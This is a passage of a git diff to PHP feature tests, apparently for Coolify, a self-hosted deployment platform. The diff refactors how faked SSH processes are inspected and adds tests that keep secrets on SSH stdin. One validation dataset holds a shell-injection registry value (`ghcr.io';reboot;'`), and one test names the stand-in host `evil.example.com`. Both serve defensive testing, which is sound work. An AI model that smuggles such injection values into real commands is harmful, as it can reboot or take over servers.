'sha256:'.str_repeat(dechex($i), 64), diff --git a/tests/Feature/ServerDockerRegistriesTest.php b/tests/Feature/ServerDockerRegistriesTest.php index 9c7cd9ee45..3cecdc14dc 100644 --- a/tests/Feature/ServerDockerRegistriesTest.php +++ b/tests/Feature/ServerDockerRegistriesTest.php @@ -76,7 +76,7 @@ it('shows which registries a server is logged in to and which ones its applicati makeDockerRegistriesServerReachable($this->server); Process::fake(function ($process) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return Process::result(output: str_contains($command, '.docker/config.json') ? json_encode(['auths' => ['ghcr.io' => ['auth' => base64_encode('user:SECRET_TOKEN')]]]) @@ -171,7 +171,7 @@ function fakeDockerRegistryServer(string $loginError = ''): array { $commands = []; Process::fake(function ($process) use (&$commands, $loginError) { - $command = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $command = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); $commands[] = $command; if ($loginError !== '' && str_contains($command, ' login ')) { @@ -191,7 +191,7 @@ it('logs in to a registry with the token on stdin and never as plain text in the makeDockerRegistriesServerReachable($this->server); $commands = []; Process::fake(function ($process) use (&$commands) { - $commands[] = $process->command; + $commands[] = remoteProcessScript($process); return Process::result(output: ''); }); @@ -226,7 +226,7 @@ it('lets docker choose the Docker Hub key and runs the login through sudo for no makeDockerRegistriesServerReachable($this->server); $commands = []; Process::fake(function ($process) use (&$commands) { - $commands[] = $process->command; + $commands[] = remoteProcessScript($process); return Process::result(output: ''); }); @@ -271,7 +271,7 @@ it('validates the registry host and username before running a command', function ->call('login') ->assertHasErrors($errorField); - Process::assertDidntRun(fn ($process) => str_contains($process->command, ' login ')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), ' login ')); })->with([ 'shell characters in registry' => ["ghcr.io';reboot;'", 'user', 'registry'], 'space in username' => ['ghcr.io', 'my user', 'username'], @@ -289,7 +289,7 @@ it('logs out from a registry', function () { ->call('logout', 'ghcr.io', '') ->assertDispatched('success'); - Process::assertRan(fn ($process) => str_contains($process->command, "docker --config \"\$HOME/.docker\" logout 'ghcr.io'")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker --config \"\$HOME/.docker\" logout 'ghcr.io'")); expect(AuditEvent::query()->where('event', 'ui.server.registry_logout')->sole()->metadata['registry'])->toBe('ghcr.io'); }); @@ -309,7 +309,7 @@ it('does not let a user who lost the admin role log in or log out', function (st ? $component->call('login')->assertForbidden() : $component->call('logout', 'ghcr.io')->assertForbidden(); - Process::assertDidntRun(fn ($process) => str_contains($process->command, ' login ') || str_contains($process->command, ' logout ')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), ' login ') || str_contains(remoteProcessScript($process), ' logout ')); })->with(['login', 'logout']); it('does not render the registries page again for a user who lost the admin role', function () { @@ -364,7 +364,7 @@ it('edits an existing login with the registry kept fixed', function () { makeDockerRegistriesServerReachable($this->server); $commands = []; Process::fake(function ($process) use (&$commands) { - $commands[] = $process->command; + $commands[] = remoteProcessScript($process); return Process::result(output: ''); }); @@ -440,8 +440,8 @@ it('always uses the fixed host of a provider, even if the browser sends another ->assertHasNoErrors() ->assertDispatched('success', 'Logged in to ghcr.io.'); - Process::assertRan(fn ($process) => str_contains($process->command, "--password-stdin 'ghcr.io'")); - Process::assertDidntRun(fn ($process) => str_contains($process->command, 'evil.example.com')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "--password-stdin 'ghcr.io'")); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'evil.example.com')); }); it('checks that the host belongs to the chosen cloud provider', function (string $provider, string $registry, bool $valid) { @@ -650,7 +650,7 @@ it('tests a saved login and shows the result on the row', function () { makeDockerRegistriesServerReachable($this->server); $checkFails = false; Process::fake(function ($process) use (&$checkFails) { - if (str_contains($process->command, 'call('testLogin', 'ghcr.io') ->assertSet('loginChecks', ['ghcr.io' => ['ok' => true, 'message' => 'The login works.']]) ->assertDispatched('success', 'The login for ghcr.io works.'); - Process::assertRan(fn ($process) => str_contains($process->command, "docker --config \"\$HOME/.docker\" login 'ghcr.io' str_contains(remoteProcessScript($process), "docker --config \"\$HOME/.docker\" login 'ghcr.io' call('testLogin', 'ghcr.io') @@ -682,7 +682,7 @@ it('does not test registries that are not logged in', function () { ->call('testLogin', 'registry.example.com') ->assertSet('loginChecks', []); - Process::assertDidntRun(fn ($process) => str_contains($process->command, ' str_contains(remoteProcessScript($process), 'call('login') ->assertForbidden(); - Process::assertDidntRun(fn ($process) => str_contains($process->command, ' login ')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), ' login ')); }); it('does not open the overview login form for members', function () { diff --git a/tests/Feature/ServerMetricsPrefetchTest.php b/tests/Feature/ServerMetricsPrefetchTest.php index 85a51e1ac4..12a5cb6078 100644 --- a/tests/Feature/ServerMetricsPrefetchTest.php +++ b/tests/Feature/ServerMetricsPrefetchTest.php @@ -24,7 +24,7 @@ beforeEach(function () { it('fetches several metric types in one SSH command', function () { $commands = []; Process::fake(function (PendingProcess $process) use (&$commands) { - $commands[] = $process->command; + $commands[] = remoteProcessScript($process); return Process::result(implode("\x1e", [ '[{"time":1000,"percent":12.5}]', @@ -55,7 +55,7 @@ it('keeps the Sentinel error of one prefetched metric', function () { it('falls back to one fetch per metric when the batch fails', function () { $commands = []; Process::fake(function (PendingProcess $process) use (&$commands) { - $commands[] = $process->command; + $commands[] = remoteProcessScript($process); return count($commands) === 1 ? Process::result('', 'ssh: connect to host failed', 1) @@ -68,11 +68,26 @@ it('falls back to one fetch per metric when the batch fails', function () { ->and($commands)->toHaveCount(2); }); -it('runs the batched metrics script with sudo for a non-root user', function () { +it('quotes the bucketed history URL in a single fetch for a non-root user', function () { $commands = []; Process::fake(function (PendingProcess $process) use (&$commands) { $commands[] = $process->command; + return Process::result('[{"time":60000,"percent":5}]'); + }); + $this->server->forceFill(['user' => 'deploy'])->saveQuietly(); + + expect($this->server->getCpuMetrics(720))->toBe([[60000, 5.0]]) + ->and($commands)->toHaveCount(1) + ->and($commands[0])->toContain('sudo bash -c') + ->and($commands[0])->toMatch('/"http:\/\/localhost:8888\/api\/cpu\/history\?from=[^"]+&bucket_ms=60000"/'); +}); + +it('runs the batched metrics script with sudo for a non-root user', function () { + $commands = []; + Process::fake(function (PendingProcess $process) use (&$commands) { + $commands[] = remoteProcessScript($process); + return Process::result("[]\x1e[]"); }); $this->server->forceFill(['user' => 'deploy'])->saveQuietly(); diff --git a/tests/Feature/ServerProxyDynamicConfigurationsAuthorizationTest.php b/tests/Feature/ServerProxyDynamicConfigurationsAuthorizationTest.php index 674c829b1b..bd122fae24 100644 --- a/tests/Feature/ServerProxyDynamicConfigurationsAuthorizationTest.php +++ b/tests/Feature/ServerProxyDynamicConfigurationsAuthorizationTest.php @@ -31,10 +31,10 @@ beforeEach(function () { $this->server->settings->forceFill(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false])->save(); Process::fake(function ($process) { - if (str_contains($process->command, 'ls -1')) { + if (str_contains(remoteProcessScript($process), 'ls -1')) { return Process::result(output: "zzfix-auth.yaml\n"); } - if (str_contains($process->command, 'zzfix-auth.yaml')) { + if (str_contains(remoteProcessScript($process), 'zzfix-auth.yaml')) { return Process::result(output: "http:\n middlewares:\n auth:\n basicAuth:\n users:\n - 'zzfix:\$apr1\$zzfixsecrethash'\n"); } @@ -65,7 +65,7 @@ it('does not load dynamic configuration contents for a team member', function () ->and(json_encode($component->snapshot))->not->toContain('zzfixsecrethash') ->and($component->html())->not->toContain('zzfixsecrethash') ->and($component->html())->toContain('zzfix-auth.yaml'); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'head -c')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'head -c')); }); it('loads dynamic configuration contents for a team admin', function () { diff --git a/tests/Feature/ServerStorageSaveDispatchTest.php b/tests/Feature/ServerStorageSaveDispatchTest.php index 917f98422a..b179890d1b 100644 --- a/tests/Feature/ServerStorageSaveDispatchTest.php +++ b/tests/Feature/ServerStorageSaveDispatchTest.php @@ -38,7 +38,7 @@ beforeEach(function () { ]); Process::fake(fn ($process) => Process::result( - output: str_contains($process->command, 'readlink -f') ? 'OK' : 'NOK' + output: str_contains(remoteProcessScript($process), 'readlink -f') ? 'OK' : 'NOK' )); $this->processedSaves = 0; @@ -65,13 +65,13 @@ it('runs the storage save after its mount is committed', function () { $volume = createStorageSaveTestMount($this->application); expect($this->processedSaves)->toBe(0); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'mkdir -p')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'mkdir -p')); DB::commit(); expect($this->processedSaves)->toBe(1) ->and($volume->exists)->toBeTrue(); - Process::assertRan(fn ($process) => str_contains($process->command, 'mkdir -p')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'mkdir -p')); }); it('does not run the storage save after its mount is rolled back', function () { @@ -81,7 +81,7 @@ it('does not run the storage save after its mount is rolled back', function () { expect($this->processedSaves)->toBe(0) ->and(LocalFileVolume::query()->count())->toBe(0); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'mkdir -p')); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'mkdir -p')); }); it('writes a new file mount immediately when there is no transaction', function () { @@ -95,7 +95,7 @@ it('writes a new file mount immediately when there is no transaction', function ]); expect($this->processedSaves)->toBe(1); - Process::assertRan(fn ($process) => str_contains($process->command, base64_encode('KEY=value'))); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), base64_encode('KEY=value'))); }); it('does not write compose content outside the resource directory before a deployment', function () { @@ -114,7 +114,7 @@ it('does not write compose content outside the resource directory before a deplo ]); expect($this->processedSaves)->toBe(0); - Process::assertNotRan(fn ($process) => str_contains($process->command, base64_encode('outside-content'))); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), base64_encode('outside-content'))); }); it('writes compose content inside the resource directory immediately', function () { @@ -133,7 +133,7 @@ it('writes compose content inside the resource directory immediately', function ]); expect($this->processedSaves)->toBe(1); - Process::assertRan(fn ($process) => str_contains($process->command, base64_encode('inside-content'))); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), base64_encode('inside-content'))); }); it('does not write a mount outside the resource directory before a deployment', function () { @@ -147,5 +147,5 @@ it('does not write a mount outside the resource directory before a deployment', ]); expect($this->processedSaves)->toBe(0); - Process::assertNotRan(fn ($process) => str_contains($process->command, base64_encode('outside-without-compose'))); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), base64_encode('outside-without-compose'))); }); diff --git a/tests/Feature/Service/DeleteServiceSubresourceTest.php b/tests/Feature/Service/DeleteServiceSubresourceTest.php index 97bdd0d0f6..2955984e19 100644 --- a/tests/Feature/Service/DeleteServiceSubresourceTest.php +++ b/tests/Feature/Service/DeleteServiceSubresourceTest.php @@ -82,7 +82,7 @@ it('deletes a service part from Coolify when the server stops responding while s ->assertNotDispatched('error'); expect($model::find($this->{$part}->id))->toBeNull(); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker rm -f $container_ids')); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker rm -f $container_ids')); Log::shouldHaveReceived('warning')->withArgs(fn (string $message) => str_contains($message, 'service part'))->atLeast()->once(); })->with('service parts'); @@ -107,5 +107,5 @@ it('removes the container of a service part and reports success when the server ->assertNotDispatched('warning'); expect($model::find($this->{$part}->id))->toBeNull(); - Process::assertRan(fn ($process) => str_contains($process->command, "coolify.service.subUuid={$this->{$part}->uuid}")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "coolify.service.subUuid={$this->{$part}->uuid}")); })->with('service parts'); diff --git a/tests/Feature/Service/StartDatabaseProxyTest.php b/tests/Feature/Service/StartDatabaseProxyTest.php index a0e98a9241..f67976f485 100644 --- a/tests/Feature/Service/StartDatabaseProxyTest.php +++ b/tests/Feature/Service/StartDatabaseProxyTest.php @@ -93,7 +93,7 @@ test('database proxy resolves the database container on every connection', funct $commands = []; Process::fake(function ($process) use (&$commands) { - $commands[] = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $commands[] = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return Process::result(output: ''); }); @@ -126,7 +126,7 @@ test('database proxy runs Docker Compose only with the compose file that Coolify $commands = []; Process::fake(function ($process) use (&$commands) { - $commands[] = is_array($process->command) ? implode(' ', $process->command) : $process->command; + $commands[] = is_array(remoteProcessScript($process)) ? implode(' ', remoteProcessScript($process)) : remoteProcessScript($process); return Process::result(output: ''); }); diff --git a/tests/Feature/ServiceComposeStdinWriteTest.php b/tests/Feature/ServiceComposeStdinWriteTest.php index 2f7844c05f..d24b8a6580 100644 --- a/tests/Feature/ServiceComposeStdinWriteTest.php +++ b/tests/Feature/ServiceComposeStdinWriteTest.php @@ -73,7 +73,7 @@ it('streams a large compose file over stdin instead of the command line', functi ->and($envWrite['command'])->toMatch('/'.preg_quote($tee, '/').' \S+\.env\.tmp/'); $this->processes->each(fn (array $process) => expect(strlen($process['command']))->toBeLessThan(8 * 1024)); - expect($this->processes->last()['command'])->toMatch('/mv \S+\.env\.tmp '.preg_quote($workdir, '/').'\/\.env/'); + expect($this->processes->last()['command']."\n".$this->processes->last()['input'])->toMatch('/mv \S+\.env\.tmp '.preg_quote($workdir, '/').'\/\.env/'); })->with([ 'root' => ['root', 'tee'], 'non-root' => ['cooluser', 'sudo tee'], diff --git a/tests/Feature/ServiceParserReferenceTest.php b/tests/Feature/ServiceParserReferenceTest.php index fb7a0aed60..95f5d108d2 100644 --- a/tests/Feature/ServiceParserReferenceTest.php +++ b/tests/Feature/ServiceParserReferenceTest.php @@ -31,6 +31,7 @@ use App\Models\Application; use App\Models\ApplicationPreview; use App\Models\Environment; +use App\Models\EnvironmentVariable; use App\Models\InstanceSettings; use App\Models\Project; use App\Models\Server; @@ -185,6 +186,12 @@ it('parses the application compose exactly as recorded', function (array $option ]); $application->forceFill(['uuid' => 'referenceapplication0001'])->save(); $application->settings->update($options['settings'] ?? []); + // Creating the production variable also creates its preview copy; the preview gets its own value. + EnvironmentVariable::create([ + 'key' => 'MAP_EMPTY_FROM_DATABASE', 'value' => 'production-value', 'is_preview' => false, + 'resourceable_type' => Application::class, 'resourceable_id' => $application->id, + ]); + $application->environment_variables_preview()->where('key', 'MAP_EMPTY_FROM_DATABASE')->firstOrFail()->update(['value' => 'preview-value']); $commit = 'abcdef0123456789abcdef0123456789abcdef01'; $snapshot = []; diff --git a/tests/Feature/SettingsBackupEmptyStateTest.php b/tests/Feature/SettingsBackupEmptyStateTest.php index 30392acc49..f9c4ef9faf 100644 --- a/tests/Feature/SettingsBackupEmptyStateTest.php +++ b/tests/Feature/SettingsBackupEmptyStateTest.php @@ -208,7 +208,7 @@ test('configure backup creates the instance database instead of using a team dat Storage::fake('ssh-mux'); Server::query()->whereKey(0)->update(['private_key_id' => PrivateKey::factory()->create(['team_id' => 0])->id]); Server::flushIdentityMap(); - Process::fake([ + fakeRemoteProcesses([ '*docker inspect coolify-db*' => Process::result(output: json_encode([[ 'Config' => ['Env' => ['POSTGRES_USER=coolify', 'POSTGRES_PASSWORD=instance-secret', 'POSTGRES_DB=coolify']], ]])), diff --git a/tests/Feature/SqliteConnectApplicationTest.php b/tests/Feature/SqliteConnectApplicationTest.php index 9757498c80..3cdfd40de0 100644 --- a/tests/Feature/SqliteConnectApplicationTest.php +++ b/tests/Feature/SqliteConnectApplicationTest.php @@ -264,8 +264,8 @@ it('keeps a docker volume shared with another resource when the application volu $this->application->deleteVolumes(); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker volume rm -f '.escapeshellarg($this->application->uuid.'-data'))); - Process::assertNotRan(fn ($process) => str_contains($process->command, 'sqlite-data-'.$this->sqlite->uuid)); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker volume rm -f '.escapeshellarg($this->application->uuid.'-data'))); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), 'sqlite-data-'.$this->sqlite->uuid)); }); it('keeps the sqlite data volume when the database volumes are deleted while an application mounts it', function () { @@ -275,7 +275,7 @@ it('keeps the sqlite data volume when the database volumes are deleted while an $this->sqlite->deleteVolumes(); - Process::assertNotRan(fn ($process) => str_contains($process->command, $databaseVolume->name)); + Process::assertNotRan(fn ($process) => str_contains(remoteProcessScript($process), $databaseVolume->name)); }); it('removes the sqlite data volume when no application mounts it', function () { @@ -284,7 +284,7 @@ it('removes the sqlite data volume when no application mounts it', function () { $this->sqlite->deleteVolumes(); - Process::assertRan(fn ($process) => str_contains($process->command, 'docker volume rm -f '.escapeshellarg($databaseVolume->name))); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), 'docker volume rm -f '.escapeshellarg($databaseVolume->name))); }); function connectSqliteVolume(Application $application, StandaloneSqlite $sqlite): LocalPersistentVolume diff --git a/tests/Feature/SshBatchStdinTransportTest.php b/tests/Feature/SshBatchStdinTransportTest.php new file mode 100644 index 0000000000..d190760289 --- /dev/null +++ b/tests/Feature/SshBatchStdinTransportTest.php @@ -0,0 +1,290 @@ +set('constants.ssh.mux_enabled', false); + config()->set('constants.ssh.max_retries', 3); + config()->set('constants.ssh.retry_base_delay', 0); + config()->set('constants.ssh.retry_max_delay', 0); + Server::flushIdentityMap(); + + $this->stubDir = sys_get_temp_dir().'/ssh-stdin-stub-'.uniqid(); + File::ensureDirectoryExists($this->stubDir.'/bin'); + File::ensureDirectoryExists($this->stubDir.'/log'); + + $log = $this->stubDir.'/log'; + $phpPid = getmypid(); + File::put($this->stubDir.'/bin/ssh', << "{$log}/argv.\$id" +pid=\$\$ +while [ "\$pid" -gt 1 ] && [ "\$pid" != "{$phpPid}" ]; do + tr '\\0' ' ' < /proc/\$pid/cmdline >> "{$log}/ancestors.\$id" + echo >> "{$log}/ancestors.\$id" + pid=\$(sed 's/.*) //' /proc/\$pid/stat | cut -d' ' -f2) +done +tee "{$log}/stdin.\$id" | sh -c "\${@: -1}" +BASH); + File::put($this->stubDir.'/bin/sudo', "#!/bin/sh\nexec \"\$@\"\n"); + chmod($this->stubDir.'/bin/ssh', 0755); + chmod($this->stubDir.'/bin/sudo', 0755); + File::put($this->stubDir.'/bin/docker', "#!/bin/sh\n[ \"\$3\" = login ] && { cat > \"{$log}/docker-login.stdin\"; echo 'Login Succeeded'; }\nexit 0\n"); + chmod($this->stubDir.'/bin/docker', 0755); + + $this->originalPath = getenv('PATH'); + $path = $this->stubDir.'/bin:'.$this->originalPath; + putenv("PATH={$path}"); + $_SERVER['PATH'] = $_ENV['PATH'] = $path; +}); + +afterEach(function () { + putenv("PATH={$this->originalPath}"); + $_SERVER['PATH'] = $_ENV['PATH'] = $this->originalPath; + File::deleteDirectory($this->stubDir); + Server::flushIdentityMap(); +}); + +function sshStdinStubServer(string $user = 'root'): Server +{ + $owner = User::factory()->create(); + $team = $owner->teams()->first(); + + Storage::fake('ssh-keys'); + $privateKey = PrivateKey::factory()->create(['team_id' => $team->id]); + Storage::disk('ssh-keys')->put("ssh_key@{$privateKey->uuid}", $privateKey->private_key); + + return Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => $privateKey->id, + 'user' => $user, + ]); +} + +/** + * @return array{invocations: int, argv: string, stdin: string} + */ +function sshStdinStubRecords(string $stubDir): array +{ + $files = fn (string $prefix) => glob("{$stubDir}/log/{$prefix}.*") ?: []; + $read = fn (string $prefix) => collect($files($prefix))->map(fn (string $file) => (string) file_get_contents($file))->implode("\n"); + + return [ + 'invocations' => count($files('argv')), + 'argv' => $read('argv')."\n".$read('ancestors'), + 'stdin' => $read('stdin'), + ]; +} + +function sshStdinRemoteProcessActivity(Server $server, string $command): Activity +{ + return activity() + ->withProperties([ + 'server_uuid' => $server->uuid, + ...RemoteProcessCommand::properties($command), + 'type' => 'inline', + 'status' => ProcessStatus::QUEUED->value, + 'team_id' => $server->team_id, + ]) + ->event('inline') + ->log('[]'); +} + +function sshStdinDeploymentRunner(Server $server): object +{ + $queue = ApplicationDeploymentQueue::create([ + 'deployment_uuid' => 'ssh-stdin-deployment', + 'application_id' => 0, + 'server_id' => $server->id, + 'status' => 'in_progress', + ]); + + return new class($server, $queue) + { + use ExecuteRemoteCommand; + + public Collection $saved_outputs; + + public function __construct(public Server $server, public ApplicationDeploymentQueue $application_deployment_queue) + { + $this->saved_outputs = collect(); + } + }; +} + +it('runs an instant remote batch with its secret only on ssh stdin', function (string $user) { + $server = sshStdinStubServer($user); + + $output = instant_remote_process([ + 'export DB_PASSWORD='.SSH_STDIN_SECRET, + 'test -n "$DB_PASSWORD"', + 'echo "len=${#DB_PASSWORD} literal=\$HOME tick=`echo t`"', + ], $server); + + $records = sshStdinStubRecords($this->stubDir); + expect($output)->toBe('len='.strlen(SSH_STDIN_SECRET).' literal=$HOME tick=t') + ->and($records['invocations'])->toBe(1) + ->and($records['stdin'])->toContain(SSH_STDIN_SECRET) + ->and($records['argv'])->toContain('bash -se') + ->not->toContain(SSH_STDIN_SECRET); + if ($user !== 'root') { + expect($records['stdin'])->toContain('sudo test -n'); + } +})->with(['root' => 'root', 'non-root' => 'rr-deployer']); + +it('does not retry a remote command that fails with exit code 1', function () { + $server = sshStdinStubServer(); + + expect(fn () => instant_remote_process(['echo '.SSH_STDIN_SECRET.' > /dev/null', 'echo failed >&2', 'exit 1', 'echo never'], $server)) + ->toThrow(RuntimeException::class, 'failed'); + + $records = sshStdinStubRecords($this->stubDir); + expect($records['invocations'])->toBe(1) + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET); +}); + +it('retries the whole batch when ssh exits with the transport code 255', function () { + $server = sshStdinStubServer(); + + expect(fn () => instant_remote_process(['echo '.SSH_STDIN_SECRET.' > /dev/null', 'echo "Connection refused" >&2', 'exit 255'], $server)) + ->toThrow(RuntimeException::class); + + $records = sshStdinStubRecords($this->stubDir); + expect($records['invocations'])->toBe(3) + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET); +}); + +it('returns nothing for a failed batch with errors ignored', function () { + $server = sshStdinStubServer(); + + expect(instant_remote_process(['exit 3'], $server, throwError: false))->toBeNull(); +}); + +it('runs batches larger than the 128 KiB argument limit and returns large output', function () { + $server = sshStdinStubServer(); + $payload = str_repeat('a', 200 * 1024); + + $output = instant_remote_process([ + "PAYLOAD='{$payload}'", + 'echo "${#PAYLOAD}"', + 'head -c 3000000 /dev/zero | tr "\0" "b"', + ], $server); + + expect(strlen($output))->toBe(strlen((string) (200 * 1024)) + 1 + 3000000) + ->and($output)->toStartWith((200 * 1024)."\nbbb"); +}); + +it('streams remote process output into the activity log with the secret only on stdin', function (string $user) { + $server = sshStdinStubServer($user); + $activity = sshStdinRemoteProcessActivity($server, implode("\n", [ + 'export TOKEN='.SSH_STDIN_SECRET, + 'echo first', + 'sleep 0.5', + 'echo second', + ])); + + $result = (new RunRemoteProcess($activity))(); + + $entries = collect(json_decode($activity->fresh()->description, true)); + $records = sshStdinStubRecords($this->stubDir); + expect($result->exitCode())->toBe(0) + ->and($entries->pluck('output')->map(fn ($output) => trim($output))->all())->toBe(['first', 'second']) + ->and($activity->fresh()->getExtraProperty('status'))->toBe(ProcessStatus::FINISHED->value) + ->and($records['stdin'])->toContain(SSH_STDIN_SECRET) + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET); +})->with(['root' => 'root', 'non-root' => 'rr-deployer']); + +it('keeps the exit code of a failed remote process and honours ignore_errors', function () { + $server = sshStdinStubServer(); + + $failing = sshStdinRemoteProcessActivity($server, "echo broken >&2\nexit 7"); + expect(fn () => (new RunRemoteProcess($failing))())->toThrow(RuntimeException::class, 'broken'); + expect($failing->fresh()->getExtraProperty('exitCode'))->toBe(7) + ->and($failing->fresh()->getExtraProperty('status'))->toBe(ProcessStatus::ERROR->value); + + $ignored = sshStdinRemoteProcessActivity($server, 'exit 7'); + expect((new RunRemoteProcess($ignored, ignore_errors: true))()->exitCode())->toBe(7); +}); + +it('runs deployment commands with the secret only on stdin and streams their output', function (string $user) { + $server = sshStdinStubServer($user); + $runner = sshStdinDeploymentRunner($server); + + $runner->execute_remote_command( + ['command' => 'test -n '.SSH_STDIN_SECRET.' && echo deploy-42', 'hidden' => true], + ['command' => 'cat', 'input' => "from-input\n"], + ['command' => 'false', 'ignore_errors' => true], + ); + + $logs = collect(json_decode($runner->application_deployment_queue->fresh()->logs, true))->pluck('output'); + $records = sshStdinStubRecords($this->stubDir); + expect($logs->all())->toContain('deploy-42', 'from-input') + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET) + ->and($records['stdin'])->toContain(SSH_STDIN_SECRET); +})->with(['root' => 'root', 'non-root' => 'rr-deployer']); + +it('fails a deployment command with its remote exit code', function () { + $server = sshStdinStubServer(); + $runner = sshStdinDeploymentRunner($server); + + expect(fn () => $runner->execute_remote_command(['command' => 'echo nope >&2; exit 4'])) + ->toThrow(DeploymentException::class, 'exit code 4'); + expect(sshStdinStubRecords($this->stubDir)['invocations'])->toBe(1); +}); + +it('starts a database with its password only on ssh stdin', function (string $user) { + $server = sshStdinStubServer($user); + $database = new class extends Model {}; + $database->setRelation('destination', (object) ['server' => $server]); + $activity = activity()->withProperties(['status' => ProcessStatus::QUEUED->value])->event('inline')->log('[]'); + + app(DatabaseStartCommandExecutor::class)->execute([ + 'export POSTGRES_PASSWORD='.SSH_STDIN_SECRET, + 'echo "started ${#POSTGRES_PASSWORD}"', + ], $database, $activity); + + $records = sshStdinStubRecords($this->stubDir); + expect($activity->fresh()->getExtraProperty('status'))->toBe(ProcessStatus::FINISHED->value) + ->and(collect(json_decode($activity->fresh()->description, true))->pluck('output')->implode(''))->toContain('started '.strlen(SSH_STDIN_SECRET)) + ->and($records['stdin'])->toContain(SSH_STDIN_SECRET) + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET); +})->with(['root' => 'root', 'non-root' => 'rr-deployer']); + +it('logs in to a registry with the password only on ssh stdin', function (string $user) { + $server = sshStdinStubServer($user); + + DockerRegistryLogins::login($server, 'registry.example.com', 'deployer', SSH_STDIN_SECRET); + + $records = sshStdinStubRecords($this->stubDir); + expect(file_get_contents($this->stubDir.'/log/docker-login.stdin'))->toBe(SSH_STDIN_SECRET) + ->and($records['argv'])->not->toContain(SSH_STDIN_SECRET) + ->not->toContain(base64_encode(SSH_STDIN_SECRET)); +})->with(['root' => 'root', 'non-root' => 'rr-deployer']); diff --git a/tests/Feature/StartClickhouseVolumesTest.php b/tests/Feature/StartClickhouseVolumesTest.php index 8193cdb95e..dc4c96b80b 100644 --- a/tests/Feature/StartClickhouseVolumesTest.php +++ b/tests/Feature/StartClickhouseVolumesTest.php @@ -56,7 +56,7 @@ function startedClickhouseCompose(): array { $compose = null; Process::assertRan(function ($process) use (&$compose) { - if (preg_match("/echo '([A-Za-z0-9+\/=]+)' \| base64 -d \| (?:sudo )?tee \S+\/docker-compose\.yml/", $process->command, $matches)) { + if (preg_match("/echo '([A-Za-z0-9+\/=]+)' \| base64 -d \| (?:sudo )?tee \S+\/docker-compose\.yml/", remoteProcessScript($process), $matches)) { $compose = Yaml::parse(base64_decode($matches[1])); } @@ -91,7 +91,7 @@ it('keeps the data volume when a file mount is added', function () { function fakeClickhouseDataMount(string $volumeName): void { Process::fake(fn ($process) => Process::result( - output: str_contains($process->command, 'docker inspect') ? "volume {$volumeName}" : 'OK', + output: str_contains(remoteProcessScript($process), 'docker inspect') ? "volume {$volumeName}" : 'OK', )); } @@ -99,7 +99,7 @@ function ranRemoteCommandContaining(string $needle): bool { $ran = false; Process::assertRan(function ($process) use ($needle, &$ran) { - $ran = $ran || str_contains($process->command, $needle); + $ran = $ran || str_contains(remoteProcessScript($process), $needle); return true; }); diff --git a/tests/Feature/StartDatabaseImportBackupPreparationTest.php b/tests/Feature/StartDatabaseImportBackupPreparationTest.php index b49d607a84..1741d157e7 100644 --- a/tests/Feature/StartDatabaseImportBackupPreparationTest.php +++ b/tests/Feature/StartDatabaseImportBackupPreparationTest.php @@ -62,7 +62,7 @@ beforeEach(function () { function importServerBackup(object $test, string $path, string $magicHex): string { - Process::fake([ + fakeRemoteProcesses([ '*stat -c %s*' => Process::result('2048'), '*od -An -tx1*' => Process::result(' '.implode(' ', str_split($magicHex, 2))), '*' => Process::result(''), @@ -149,7 +149,7 @@ test('bz2, xz, and zip server backups are prepared in the helper image', functio ->toContain("docker rm -f 'backup-decompress-") ->not->toContain("docker cp '{$path}' '{$this->database->uuid}:"); - Process::assertRan(fn ($process) => str_contains($process->command, "docker run -d --network none --name 'backup-decompress-")); + Process::assertRan(fn ($process) => str_contains(remoteProcessScript($process), "docker run -d --network none --name 'backup-decompress-")); Queue::assertPushed(CoolifyTask::class, fn (CoolifyTask $job) => str_starts_with((string) ($job->call_event_data['containerName'] ?? ''), 'backup-decompress-')); })->with([ 'bz2' => ['/srv/backups/app.sql.bz2', '425a68393141'], diff --git a/tests/Feature/StartDatabaseImportS3CredentialsTest.php b/tests/Feature/StartDatabaseImportS3CredentialsTest.php index b66750e6f7..c53b343711 100644 --- a/tests/Feature/StartDatabaseImportS3CredentialsTest.php +++ b/tests/Feature/StartDatabaseImportS3CredentialsTest.php @@ -12,15 +12,19 @@ use App\Models\StandaloneDocker; use App\Models\StandalonePostgresql; use App\Models\Team; use App\Support\DatabaseImport\DatabaseImportCleanup; +use App\Support\DatabaseImport\DatabaseImportException; use App\Support\DatabaseImport\DatabaseImportSource; use App\Support\RemoteProcessCommand; use Illuminate\Filesystem\FilesystemAdapter; use 